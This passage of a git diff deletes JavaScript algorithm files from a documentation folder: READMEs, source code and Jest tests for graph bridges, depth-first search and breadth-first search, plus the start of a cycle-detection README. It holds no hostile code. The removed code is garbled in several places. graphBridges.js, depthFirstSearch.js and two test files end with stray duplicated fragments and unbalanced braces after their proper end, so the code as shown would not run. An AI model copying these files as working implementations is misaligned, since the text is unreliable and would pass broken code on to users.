-        // Traverse graph with enterVertex and leaveVertex callbacks.
-        breadthFirstSearch(graph, vertexA, {
-            enterVertex: enterVertexCallback,
-            leaveVertex: leaveVertexCallback,
-            allowTraversal: ({
-                currentVertex,
-                nextVertex
-            }) => {
-                return !(currentVertex === vertexA && nextVertex === vertexB);
-            }
-        });
-        expect(enterVertexCallback).toHaveBeenCalledTimes(7);
-        expect(leaveVertexCallback).toHaveBeenCalledTimes(7);
-        const enterVertexParamsMap = [{
-                currentVertex: vertexA,
-                previousVertex: null
-            },
-            {
-                currentVertex: vertexD,
-                previousVertex: vertexA
-            },
-            {
-                currentVertex: vertexE,
-                previousVertex: vertexD
-            },
-            {
-                currentVertex: vertexH,
-                previousVertex: vertexE
-            },
-            {
-                currentVertex: vertexF,
-                previousVertex: vertexH
-            },
-            {
-                currentVertex: vertexD,
-                previousVertex: vertexF
-            },
-            {
-                currentVertex: vertexH,
-                previousVertex: vertexD
-            }
-        ];
-        for (let callIndex = 0; callIndex < 7; callIndex += 1) {
-            const params = enterVertexCallback.mock.calls[callIndex][0];
-            expect(params.currentVertex).toEqual(enterVertexParamsMap[callIndex].currentVertex);
-            expect(params.previousVertex).toEqual(enterVertexParamsMap[callIndex].previousVertex);
-        }
-        const leaveVertexParamsMap = [{
-                currentVertex: vertexA,
-                previousVertex: null
-            },
-            {
-                currentVertex: vertexD,
-                previousVertex: vertexA
-            },
-            {
-                currentVertex: vertexE,
-                previousVertex: vertexD
-            },
-            {
-                currentVertex: vertexH,
-                previousVertex: vertexE
-            },
-            {
-                currentVertex: vertexF,
-                previousVertex: vertexH
-            },
-            {
-                currentVertex: vertexD,
-                previousVertex: vertexF
-            },
-            {
-                currentVertex: vertexH,
-                previousVertex: vertexD
-            }
-        ];
-        for (let callIndex = 0; callIndex < 7; callIndex += 1) {
-            const params = leaveVertexCallback.mock.calls[callIndex][0];
-            expect(params.currentVertex).toEqual(leaveVertexParamsMap[callIndex].currentVertex);
-            expect(params.previousVertex).toEqual(leaveVertexParamsMap[callIndex].previousVertex);
-        }
-    });
-});
-// Traverse graph with enterVertex and leaveVertex callbacks.
-breadthFirstSearch(graph, vertexA, {
-    enterVertex: enterVertexCallback,
-    leaveVertex: leaveVertexCallback,
-    allowTraversal: ({
-        currentVertex,
-        nextVertex
-    }) => {
-        return !(currentVertex === vertexA && nextVertex === vertexB);
-    }
-});
-expect(enterVertexCallback).toHaveBeenCalledTimes(7);
-expect(leaveVertexCallback).toHaveBeenCalledTimes(7);
-const enterVertexParamsMap = [{
-        currentVertex: vertexA,
-        previousVertex: null
-    },
-    {
-        currentVertex: vertexD,
-        previousVertex: vertexA
-    },
-    {
-        currentVertex: vertexE,
-        previousVertex: vertexD
-    },
-    {
-        currentVertex: vertexH,
-        previousVertex: vertexE
-    },
-    {
-        currentVertex: vertexF,
-        previousVertex: vertexH
-    },
-    {
-        currentVertex: vertexD,
-        previousVertex: vertexF
-    },
-    {
-        currentVertex: vertexH,
-        previousVertex: vertexD
-    }
-];
-for (let callIndex = 0; callIndex < 7; callIndex += 1) {
-    const params = enterVertexCallback.mock.calls[callIndex][0];
-    expect(params.currentVertex).toEqual(enterVertexParamsMap[callIndex].currentVertex);
-    expect(params.previousVertex).toEqual(enterVertexParamsMap[callIndex].previousVertex);
-}
-const leaveVertexParamsMap = [{
-        currentVertex: vertexA,
-        previousVertex: null
-    },
-    {
-        currentVertex: vertexD,
-        previousVertex: vertexA
-    },
-    {
-        currentVertex: vertexE,
-        previousVertex: vertexD
-    },
-    {
-        currentVertex: vertexH,
-        previousVertex: vertexE
-    },
-    {
-        currentVertex: vertexF,
-        previousVertex: vertexH
-    },
-    {
-        currentVertex: vertexD,
-        previousVertex: vertexF
-    },
-    {
-        currentVertex: vertexH,
-        previousVertex: vertexD
-    }
-];
-for (let callIndex = 0; callIndex < 7; callIndex += 1) {
-    const params = leaveVertexCallback.mock.calls[callIndex][0];
-    expect(params.currentVertex).toEqual(leaveVertexParamsMap[callIndex].currentVertex);
-    expect(params.previousVertex).toEqual(leaveVertexParamsMap[callIndex].previousVertex);
-}
-});
-});
diff --git a/docs/content/DS_ALGO/algorithms/graph/bridges/README.md b/docs/content/DS_ALGO/algorithms/graph/bridges/README.md
deleted file mode 100644
index 89f1458cde..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/bridges/README.md
+++ /dev/null
@@ -1,26 +0,0 @@
-# Bridges in Graph
-
-In graph theory, a **bridge**, **isthmus**, **cut-edge**, or **cut arc** is an edge
-of a graph whose deletion increases its number of connected components. Equivalently,
-an edge is a bridge if and only if it is not contained in any cycle. A graph is said
-to be bridgeless or isthmus-free if it contains no bridges.
-
-![Bridges in graph](https://upload.wikimedia.org/wikipedia/commons/d/df/Graph_cut_edges.svg)
-
-A graph with 16 vertices and 6 bridges (highlighted in red)
-
-![Bridgeless](https://upload.wikimedia.org/wikipedia/commons/b/bf/Undirected.svg)
-
-An undirected connected graph with no cut edges
-
-![Bridges in graph](https://www.geeksforgeeks.org/wp-content/uploads/Bridge1.png)
-
-![Bridges in graph](https://www.geeksforgeeks.org/wp-content/uploads/Bridge2.png)
-
-![Bridges in graph](https://www.geeksforgeeks.org/wp-content/uploads/Bridge3.png)
-
-## References
-
--   [GeeksForGeeks on YouTube](https://www.youtube.com/watch?v=thLQYBlz2DM&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
--   [Wikipedia](https://en.wikipedia.org/wiki/Bridge_%28graph_theory%29#Tarjan.27s_Bridge-finding_algorithm)
--   [GeeksForGeeks](https://www.geeksforgeeks.org/bridge-in-a-graph/)
diff --git a/docs/content/DS_ALGO/algorithms/graph/bridges/graphBridges.js b/docs/content/DS_ALGO/algorithms/graph/bridges/graphBridges.js
deleted file mode 100644
index 91dda81195..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/bridges/graphBridges.js
+++ /dev/null
@@ -1,103 +0,0 @@
-import depthFirstSearch from '../depth-first-search/depthFirstSearch';
-/**
- * Helper class for visited vertex metadata.
- */
-class VisitMetadata {
-    constructor({
-        discoveryTime,
-        lowDiscoveryTime
-    }) {
-        this.discoveryTime = discoveryTime;
-        this.lowDiscoveryTime = lowDiscoveryTime;
-    }
-}
-/**
- * @param {Graph} graph
- * @return {Object}
- */
-export default function graphBridges(graph) {
-    // Set of vertices we've already visited during DFS.
-    const visitedSet = {};
-    // Set of bridges.
-    const bridges = {};
-    // Time needed to discover to the current vertex.
-    let discoveryTime = 0;
-    // Peek the start vertex for DFS traversal.
-    const startVertex = graph.getAllVertices()[0];
-    const dfsCallbacks = {
-        /**
-         * @param {GraphVertex} currentVertex
-         */
-        enterVertex: ({
-            currentVertex
-        }) => {
-            // Tick discovery time.
-            discoveryTime += 1;
-            // Put current vertex to visited set.
-            visitedSet[currentVertex.getKey()] = new VisitMetadata({
-                discoveryTime,
-                lowDiscoveryTime: discoveryTime
-            });
-        },
-        /**
-         * @param {GraphVertex} currentVertex
-         * @param {GraphVertex} previousVertex
-         */
-        leaveVertex: ({
-            currentVertex,
-            previousVertex
-        }) => {
-            if (previousVertex === null) {
-                // Don't do anything for the root vertex if it is already current (not previous one).
-                return;
-            }
-            // Check if current node is connected to any early node other then previous one.
-            visitedSet[currentVertex.getKey()].lowDiscoveryTime = currentVertex
-                .getNeighbors()
-                .filter((earlyNeighbor) => earlyNeighbor.getKey() !== previousVertex.getKey())
-                .reduce(
-                    /**
-                     * @param {number} lowestDiscoveryTime
-                     * @param {GraphVertex} neighbor
-                     */
-                    (lowestDiscoveryTime, neighbor) => {
-                        const neighborLowTime = visitedSet[neighbor.getKey()].lowDiscoveryTime;
-                        return neighborLowTime < lowestDiscoveryTime ? neighborLowTime : lowestDiscoveryTime;
-                    },
-                    visitedSet[currentVertex.getKey()].lowDiscoveryTime
-                );
-            // Compare low discovery times. In case if current low discovery time is less than the one
-            // in previous vertex then update previous vertex low time.
-            const currentLowDiscoveryTime = visitedSet[currentVertex.getKey()].lowDiscoveryTime;
-            const previousLowDiscoveryTime = visitedSet[previousVertex.getKey()].lowDiscoveryTime;
-            if (currentLowDiscoveryTime < previousLowDiscoveryTime) {
-                visitedSet[previousVertex.getKey()].lowDiscoveryTime = currentLowDiscoveryTime;
-            }
-            // Compare current vertex low discovery time with parent discovery time. Check if there
-            // are any short path (back edge) exists. If we can't get to current vertex other then
-            // via parent then the parent vertex is articulation point for current one.
-            const parentDiscoveryTime = visitedSet[previousVertex.getKey()].discoveryTime;
-            if (parentDiscoveryTime < currentLowDiscoveryTime) {
-                const bridge = graph.findEdge(previousVertex, currentVertex);
-                bridges[bridge.getKey()] = bridge;
-            }
-        },
-        allowTraversal: ({
-            nextVertex
-        }) => {
-            return !visitedSet[nextVertex.getKey()];
-        }
-    };
-    // Do Depth First Search traversal over submitted graph.
-    depthFirstSearch(graph, startVertex, dfsCallbacks);
-    return bridges;
-}
-}) => {
-    return !visitedSet[nextVertex.getKey()];
-}
-};
-// Do Depth First Search traversal over submitted graph.
-depthFirstSearch(graph, startVertex, dfsCallbacks);
-
-return bridges;
-}
diff --git a/docs/content/DS_ALGO/algorithms/graph/bridges/test/graphBridges.test.js b/docs/content/DS_ALGO/algorithms/graph/bridges/test/graphBridges.test.js
deleted file mode 100644
index 5b60d96991..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/bridges/test/graphBridges.test.js
+++ /dev/null
@@ -1,129 +0,0 @@
-import GraphVertex from '../../../../data-structures/graph/GraphVertex';
-import GraphEdge from '../../../../data-structures/graph/GraphEdge';
-import Graph from '../../../../data-structures/graph/Graph';
-import graphBridges from '../graphBridges';
-describe('graphBridges', () => {
-    it('should find bridges in simple graph', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeCD = new GraphEdge(vertexC, vertexD);
-        const graph = new Graph();
-        graph.addEdge(edgeAB).addEdge(edgeBC).addEdge(edgeCD);
-        const bridges = Object.values(graphBridges(graph));
-        expect(bridges.length).toBe(3);
-        expect(bridges[0].getKey()).toBe(edgeCD.getKey());
-        expect(bridges[1].getKey()).toBe(edgeBC.getKey());
-        expect(bridges[2].getKey()).toBe(edgeAB.getKey());
-    });
-    it('should find bridges in simple graph with back edge', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeCD = new GraphEdge(vertexC, vertexD);
-        const edgeAC = new GraphEdge(vertexA, vertexC);
-        const graph = new Graph();
-        graph.addEdge(edgeAB).addEdge(edgeAC).addEdge(edgeBC).addEdge(edgeCD);
-        const bridges = Object.values(graphBridges(graph));
-        expect(bridges.length).toBe(1);
-        expect(bridges[0].getKey()).toBe(edgeCD.getKey());
-    });
-    it('should find bridges in graph', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const vertexF = new GraphVertex('F');
-        const vertexG = new GraphVertex('G');
-        const vertexH = new GraphVertex('H');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeAC = new GraphEdge(vertexA, vertexC);
-        const edgeCD = new GraphEdge(vertexC, vertexD);
-        const edgeDE = new GraphEdge(vertexD, vertexE);
-        const edgeEG = new GraphEdge(vertexE, vertexG);
-        const edgeEF = new GraphEdge(vertexE, vertexF);
-        const edgeGF = new GraphEdge(vertexG, vertexF);
-        const edgeFH = new GraphEdge(vertexF, vertexH);
-        const graph = new Graph();
-        graph.addEdge(edgeAB).addEdge(edgeBC).addEdge(edgeAC).addEdge(edgeCD).addEdge(edgeDE).addEdge(edgeEG).addEdge(edgeEF).addEdge(edgeGF).addEdge(edgeFH);
-        const bridges = Object.values(graphBridges(graph));
-        expect(bridges.length).toBe(3);
-        expect(bridges[0].getKey()).toBe(edgeFH.getKey());
-        expect(bridges[1].getKey()).toBe(edgeDE.getKey());
-        expect(bridges[2].getKey()).toBe(edgeCD.getKey());
-    });
-    it('should find bridges in graph starting with different root vertex', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const vertexF = new GraphVertex('F');
-        const vertexG = new GraphVertex('G');
-        const vertexH = new GraphVertex('H');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeAC = new GraphEdge(vertexA, vertexC);
-        const edgeCD = new GraphEdge(vertexC, vertexD);
-        const edgeDE = new GraphEdge(vertexD, vertexE);
-        const edgeEG = new GraphEdge(vertexE, vertexG);
-        const edgeEF = new GraphEdge(vertexE, vertexF);
-        const edgeGF = new GraphEdge(vertexG, vertexF);
-        const edgeFH = new GraphEdge(vertexF, vertexH);
-        const graph = new Graph();
-        graph.addEdge(edgeDE).addEdge(edgeAB).addEdge(edgeBC).addEdge(edgeAC).addEdge(edgeCD).addEdge(edgeEG).addEdge(edgeEF).addEdge(edgeGF).addEdge(edgeFH);
-        const bridges = Object.values(graphBridges(graph));
-        expect(bridges.length).toBe(3);
-        expect(bridges[0].getKey()).toBe(edgeFH.getKey());
-        expect(bridges[1].getKey()).toBe(edgeDE.getKey());
-        expect(bridges[2].getKey()).toBe(edgeCD.getKey());
-    });
-    it('should find bridges in yet another graph #1', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeAC = new GraphEdge(vertexA, vertexC);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeCD = new GraphEdge(vertexC, vertexD);
-        const edgeDE = new GraphEdge(vertexD, vertexE);
-        const graph = new Graph();
-        graph.addEdge(edgeAB).addEdge(edgeAC).addEdge(edgeBC).addEdge(edgeCD).addEdge(edgeDE);
-        const bridges = Object.values(graphBridges(graph));
-        expect(bridges.length).toBe(2);
-        expect(bridges[0].getKey()).toBe(edgeDE.getKey());
-        expect(bridges[1].getKey()).toBe(edgeCD.getKey());
-    });
-    it('should find bridges in yet another graph #2', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const vertexF = new GraphVertex('F');
-        const vertexG = new GraphVertex('G');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeAC = new GraphEdge(vertexA, vertexC);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeCD = new GraphEdge(vertexC, vertexD);
-        const edgeCE = new GraphEdge(vertexC, vertexE);
-        const edgeCF = new GraphEdge(vertexC, vertexF);
-        const edgeEG = new GraphEdge(vertexE, vertexG);
-        const edgeFG = new GraphEdge(vertexF, vertexG);
-        const graph = new Graph();
-        graph.addEdge(edgeAB).addEdge(edgeAC).addEdge(edgeBC).addEdge(edgeCD).addEdge(edgeCE).addEdge(edgeCF).addEdge(edgeEG).addEdge(edgeFG);
-        const bridges = Object.values(graphBridges(graph));
-        expect(bridges.length).toBe(1);
-        expect(bridges[0].getKey()).toBe(edgeCD.getKey());
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/graph/depth-first-search/README.md b/docs/content/DS_ALGO/algorithms/graph/depth-first-search/README.md
deleted file mode 100644
index b45a31b7e0..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/depth-first-search/README.md
+++ /dev/null
@@ -1,16 +0,0 @@
-# Depth-First Search (DFS)
-
-Depth-first search (DFS) is an algorithm for traversing or
-searching tree or graph data structures. One starts at
-the root (selecting some arbitrary node as the root in
-the case of a graph) and explores as far as possible
-along each branch before backtracking.
-
-![Algorithm Visualization](https://upload.wikimedia.org/wikipedia/commons/7/7f/Depth-First-Search.gif)
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Depth-first_search)
--   [Tree Traversals (Inorder, Preorder and Postorder)](https://www.geeksforgeeks.org/tree-traversals-inorder-preorder-and-postorder/)
--   [BFS vs DFS](https://www.geeksforgeeks.org/bfs-vs-dfs-binary-tree/)
--   [DFS Visualization](https://www.cs.usfca.edu/~galles/visualization/DFS.html)
diff --git a/docs/content/DS_ALGO/algorithms/graph/depth-first-search/depthFirstSearch.js b/docs/content/DS_ALGO/algorithms/graph/depth-first-search/depthFirstSearch.js
deleted file mode 100644
index 2c32c023ea..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/depth-first-search/depthFirstSearch.js
+++ /dev/null
@@ -1,81 +0,0 @@
-/**
- * @typedef {Object} Callbacks
- *
- * @property {function(vertices: Object): boolean} [allowTraversal] -
- *  Determines whether DFS should traverse from the vertex to its neighbor
- *  (along the edge). By default prohibits visiting the same vertex again.
- *
- * @property {function(vertices: Object)} [enterVertex] - Called when DFS enters the vertex.
- *
- * @property {function(vertices: Object)} [leaveVertex] - Called when DFS leaves the vertex.
- */
-/**
- * @param {Callbacks} [callbacks]
- * @returns {Callbacks}
- */
-function initCallbacks(callbacks = {}) {
-    const initiatedCallback = callbacks;
-    const stubCallback = () => {};
-    const allowTraversalCallback = (() => {
-        const seen = {};
-        return ({
-            nextVertex
-        }) => {
-            if (!seen[nextVertex.getKey()]) {
-                seen[nextVertex.getKey()] = true;
-                return true;
-            }
-            return false;
-        };
-    })();
-    initiatedCallback.allowTraversal = callbacks.allowTraversal || allowTraversalCallback;
-    initiatedCallback.enterVertex = callbacks.enterVertex || stubCallback;
-    initiatedCallback.leaveVertex = callbacks.leaveVertex || stubCallback;
-    return initiatedCallback;
-}
-/**
- * @param {Graph} graph
- * @param {GraphVertex} currentVertex
- * @param {GraphVertex} previousVertex
- * @param {Callbacks} callbacks
- */
-function depthFirstSearchRecursive(graph, currentVertex, previousVertex, callbacks) {
-    callbacks.enterVertex({
-        currentVertex,
-        previousVertex
-    });
-    graph.getNeighbors(currentVertex).forEach((nextVertex) => {
-        if (callbacks.allowTraversal({
-                previousVertex,
-                currentVertex,
-                nextVertex
-            })) {
-            depthFirstSearchRecursive(graph, nextVertex, currentVertex, callbacks);
-        }
-    });
-    callbacks.leaveVertex({
-        currentVertex,
-        previousVertex
-    });
-}
-/**
- * @param {Graph} graph
- * @param {GraphVertex} startVertex
- * @param {Callbacks} [callbacks]
- */
-export default function depthFirstSearch(graph, startVertex, callbacks) {
-    const previousVertex = null;
-    depthFirstSearchRecursive(graph, startVertex, previousVertex, initCallbacks(callbacks));
-}
-});
-}
-/**
- * @param {Graph} graph
- * @param {GraphVertex} startVertex
- * @param {Callbacks} [callbacks]
- */
-export default function depthFirstSearch(graph, startVertex, callbacks) {
-    const previousVertex = null;
-    depthFirstSearchRecursive(graph, startVertex, previousVertex, initCallbacks(callbacks));
-}
-}
diff --git a/docs/content/DS_ALGO/algorithms/graph/depth-first-search/test/depthFirstSearch.test.js b/docs/content/DS_ALGO/algorithms/graph/depth-first-search/test/depthFirstSearch.test.js
deleted file mode 100644
index 69f7aa1de8..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/depth-first-search/test/depthFirstSearch.test.js
+++ /dev/null
@@ -1,286 +0,0 @@
-import Graph from '../../../../data-structures/graph/Graph';
-import GraphVertex from '../../../../data-structures/graph/GraphVertex';
-import GraphEdge from '../../../../data-structures/graph/GraphEdge';
-import depthFirstSearch from '../depthFirstSearch';
-describe('depthFirstSearch', () => {
-it('should perform DFS operation on graph', () => {
-    const graph = new Graph(true);
-    const vertexA = new GraphVertex('A');
-    const vertexB = new GraphVertex('B');
-    const vertexC = new GraphVertex('C');
-    const vertexD = new GraphVertex('D');
-    const vertexE = new GraphVertex('E');
-    const vertexF = new GraphVertex('F');
-    const vertexG = new GraphVertex('G');
-    const edgeAB = new GraphEdge(vertexA, vertexB);
-    const edgeBC = new GraphEdge(vertexB, vertexC);
-    const edgeCG = new GraphEdge(vertexC, vertexG);
-    const edgeAD = new GraphEdge(vertexA, vertexD);
-    const edgeAE = new GraphEdge(vertexA, vertexE);
-    const edgeEF = new GraphEdge(vertexE, vertexF);
-    const edgeFD = new GraphEdge(vertexF, vertexD);
-    const edgeDG = new GraphEdge(vertexD, vertexG);
-    graph.addEdge(edgeAB).addEdge(edgeBC).addEdge(edgeCG).addEdge(edgeAD).addEdge(edgeAE).addEdge(edgeEF).addEdge(edgeFD).addEdge(edgeDG);
-    expect(graph.toString()).toBe('A,B,C,G,D,E,F');
-    const enterVertexCallback = jest.fn();
-    const leaveVertexCallback = jest.fn();
-    // Traverse graphs without callbacks first to check default ones.
-    depthFirstSearch(graph, vertexA);
-    // Traverse graph with enterVertex and leaveVertex callbacks.
-    depthFirstSearch(graph, vertexA, {
-        enterVertex: enterVertexCallback,
-        leaveVertex: leaveVertexCallback
-    });
-    expect(enterVertexCallback).toHaveBeenCalledTimes(graph.getAllVertices().length);
-    expect(leaveVertexCallback).toHaveBeenCalledTimes(graph.getAllVertices().length);
-    const enterVertexParamsMap = [{
-            currentVertex: vertexA,
-            previousVertex: null
-        },
-        {
-            currentVertex: vertexB,
-            previousVertex: vertexA
-        },
-        {
-            currentVertex: vertexC,
-            previousVertex: vertexB
-        },
-        {
-            currentVertex: vertexG,
-            previousVertex: vertexC
-        },
-        {
-            currentVertex: vertexD,
-            previousVertex: vertexA
-        },
-        {
-            currentVertex: vertexE,
-            previousVertex: vertexA
-        },
-        {
-            currentVertex: vertexF,
-            previousVertex: vertexE
-        }
-    ];
-    for (let callIndex = 0; callIndex < graph.getAllVertices().length; callIndex += 1) {
-        const params = enterVertexCallback.mock.calls[callIndex][0];
-        expect(params.currentVertex).toEqual(enterVertexParamsMap[callIndex].currentVertex);
-        expect(params.previousVertex).toEqual(enterVertexParamsMap[callIndex].previousVertex);
-    }
-    const leaveVertexParamsMap = [{
-            currentVertex: vertexG,
-            previousVertex: vertexC
-        },
-        {
-            currentVertex: vertexC,
-            previousVertex: vertexB
-        },
-        {
-            currentVertex: vertexB,
-            previousVertex: vertexA
-        },
-        {
-            currentVertex: vertexD,
-            previousVertex: vertexA
-        },
-        {
-            currentVertex: vertexF,
-            previousVertex: vertexE
-        },
-        {
-            currentVertex: vertexE,
-            previousVertex: vertexA
-        },
-        {
-            currentVertex: vertexA,
-            previousVertex: null
-        }
-    ];
-    for (let callIndex = 0; callIndex < graph.getAllVertices().length; callIndex += 1) {
-        const params = leaveVertexCallback.mock.calls[callIndex][0];
-        expect(params.currentVertex).toEqual(leaveVertexParamsMap[callIndex].currentVertex);
-        expect(params.previousVertex).toEqual(leaveVertexParamsMap[callIndex].previousVertex);
-    }
-});
-it('allow users to redefine vertex visiting logic', () => {
-    const graph = new Graph(true);
-    const vertexA = new GraphVertex('A');
-    const vertexB = new GraphVertex('B');
-    const vertexC = new GraphVertex('C');
-    const vertexD = new GraphVertex('D');
-    const vertexE = new GraphVertex('E');
-    const vertexF = new GraphVertex('F');
-    const vertexG = new GraphVertex('G');
-    const edgeAB = new GraphEdge(vertexA, vertexB);
-    const edgeBC = new GraphEdge(vertexB, vertexC);
-    const edgeCG = new GraphEdge(vertexC, vertexG);
-    const edgeAD = new GraphEdge(vertexA, vertexD);
-    const edgeAE = new GraphEdge(vertexA, vertexE);
-    const edgeEF = new GraphEdge(vertexE, vertexF);
-    const edgeFD = new GraphEdge(vertexF, vertexD);
-    const edgeDG = new GraphEdge(vertexD, vertexG);
-    graph.addEdge(edgeAB).addEdge(edgeBC).addEdge(edgeCG).addEdge(edgeAD).addEdge(edgeAE).addEdge(edgeEF).addEdge(edgeFD).addEdge(edgeDG);
-    expect(graph.toString()).toBe('A,B,C,G,D,E,F');
-    const enterVertexCallback = jest.fn();
-    const leaveVertexCallback = jest.fn();
-    depthFirstSearch(graph, vertexA, {
-        enterVertex: enterVertexCallback,
-        leaveVertex: leaveVertexCallback,
-        allowTraversal: ({
-            currentVertex,
-            nextVertex
-        }) => {
-            return !(currentVertex === vertexA && nextVertex === vertexB);
-        }
-    });
-    expect(enterVertexCallback).toHaveBeenCalledTimes(7);
-    expect(leaveVertexCallback).toHaveBeenCalledTimes(7);
-    const enterVertexParamsMap = [{
-            currentVertex: vertexA,
-            previousVertex: null
-        },
-        {
-            currentVertex: vertexD,
-            previousVertex: vertexA
-        },
-        {
-            currentVertex: vertexG,
-            previousVertex: vertexD
-        },
-        {
-            currentVertex: vertexE,
-            previousVertex: vertexA
-        },
-        {
-            currentVertex: vertexF,
-            previousVertex: vertexE
-        },
-        {
-            currentVertex: vertexD,
-            previousVertex: vertexF
-        },
-        {
-            currentVertex: vertexG,
-            previousVertex: vertexD
-        }
-    ];
-    for (let callIndex = 0; callIndex < graph.getAllVertices().length; callIndex += 1) {
-        const params = enterVertexCallback.mock.calls[callIndex][0];
-        expect(params.currentVertex).toEqual(enterVertexParamsMap[callIndex].currentVertex);
-        expect(params.previousVertex).toEqual(enterVertexParamsMap[callIndex].previousVertex);
-    }
-    const leaveVertexParamsMap = [{
-            currentVertex: vertexG,
-            previousVertex: vertexD
-        },
-        {
-            currentVertex: vertexD,
-            previousVertex: vertexA
-        },
-        {
-            currentVertex: vertexG,
-            previousVertex: vertexD
-        },
-        {
-            currentVertex: vertexD,
-            previousVertex: vertexF
-        },
-        {
-            currentVertex: vertexF,
-            previousVertex: vertexE
-        },
-        {
-            currentVertex: vertexE,
-            previousVertex: vertexA
-        },
-        {
-            currentVertex: vertexA,
-            previousVertex: null
-        }
-    ];
-    for (let callIndex = 0; callIndex < graph.getAllVertices().length; callIndex += 1) {
-        const params = leaveVertexCallback.mock.calls[callIndex][0];
-        expect(params.currentVertex).toEqual(leaveVertexParamsMap[callIndex].currentVertex);
-        expect(params.previousVertex).toEqual(leaveVertexParamsMap[callIndex].previousVertex);
-    }
-});
-});
-currentVertex,
-nextVertex
-}) => {
-    return !(currentVertex === vertexA && nextVertex === vertexB);
-}
-});
-expect(enterVertexCallback).toHaveBeenCalledTimes(7);
-expect(leaveVertexCallback).toHaveBeenCalledTimes(7);
-const enterVertexParamsMap = [{
-        currentVertex: vertexA,
-        previousVertex: null
-    },
-    {
-        currentVertex: vertexD,
-        previousVertex: vertexA
-    },
-    {
-        currentVertex: vertexG,
-        previousVertex: vertexD
-    },
-    {
-        currentVertex: vertexE,
-        previousVertex: vertexA
-    },
-    {
-        currentVertex: vertexF,
-        previousVertex: vertexE
-    },
-    {
-        currentVertex: vertexD,
-        previousVertex: vertexF
-    },
-    {
-        currentVertex: vertexG,
-        previousVertex: vertexD
-    }
-];
-for (let callIndex = 0; callIndex < graph.getAllVertices().length; callIndex += 1) {
-    const params = enterVertexCallback.mock.calls[callIndex][0];
-    expect(params.currentVertex).toEqual(enterVertexParamsMap[callIndex].currentVertex);
-    expect(params.previousVertex).toEqual(enterVertexParamsMap[callIndex].previousVertex);
-}
-const leaveVertexParamsMap = [{
-        currentVertex: vertexG,
-        previousVertex: vertexD
-    },
-    {
-        currentVertex: vertexD,
-        previousVertex: vertexA
-    },
-    {
-        currentVertex: vertexG,
-        previousVertex: vertexD
-    },
-    {
-        currentVertex: vertexD,
-        previousVertex: vertexF
-    },
-    {
-        currentVertex: vertexF,
-        previousVertex: vertexE
-    },
-    {
-        currentVertex: vertexE,
-        previousVertex: vertexA
-    },
-    {
-        currentVertex: vertexA,
-        previousVertex: null
-    }
-];
-for (let callIndex = 0; callIndex < graph.getAllVertices().length; callIndex += 1) {
-    const params = leaveVertexCallback.mock.calls[callIndex][0];
-    expect(params.currentVertex).toEqual(leaveVertexParamsMap[callIndex].currentVertex);
-    expect(params.previousVertex).toEqual(leaveVertexParamsMap[callIndex].previousVertex);
-}
-});
-});
-});
diff --git a/docs/content/DS_ALGO/algorithms/graph/detect-cycle/README.md b/docs/content/DS_ALGO/algorithms/graph/detect-cycle/README.md
deleted file mode 100644
index 2ca7e32f6c..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/detect-cycle/README.md
+++ /dev/null
@@ -1,60 +0,0 @@
-# Detect Cycle in Graphs
-
-In graph theory, a **cycle** is a path of edges and vertices
-wherein a vertex is reachable from itself. There are several
-different types of cycles, principally a **closed walk** and
-a **simple cycle**.
-
-## Definitions
-
-A **closed walk** consists of a sequence of vertices starting
-and ending at the same vertex, with each two consecutive vertices
-in the sequence adjacent to each other in the graph. In a directed graph,
-each edge must be traversed by the walk consistently with its direction:
-the edge must be oriented from the earlier of two consecutive vertices
-to the later of the two vertices in the sequence.
-The choice of starting vertex is not important: traversing the same cyclic
-sequence of edges from different starting vertices produces the same closed walk.
-
-A **simple cycle may** be defined either as a closed walk with no repetitions of
-vertices and edges allowed, other than the repetition of the starting and ending
-vertex, or as the set of edges in such a walk. The two definitions are equivalent
-in directed graphs, where simple cycles are also called directed cycles: the cyclic
-sequence of vertices and edges in a walk is completely determined by the set of
-edges that it uses. In undirected graphs the set of edges of a cycle can be
-traversed by a walk in either of two directions, giving two possible directed cycles
-for every undirected cycle. A circuit can be a closed walk allowing repetitions of
-vertices but not edges; however, it can also be a simple cycle, so explicit
-definition is recommended when it is used.
-
-## Example
-
-![Cycles](https://upload.wikimedia.org/wikipedia/commons/e/e7/Graph_cycle.gif)
-
-A graph with edges colored to illustrate **path** `H-A-B` (green), closed path or
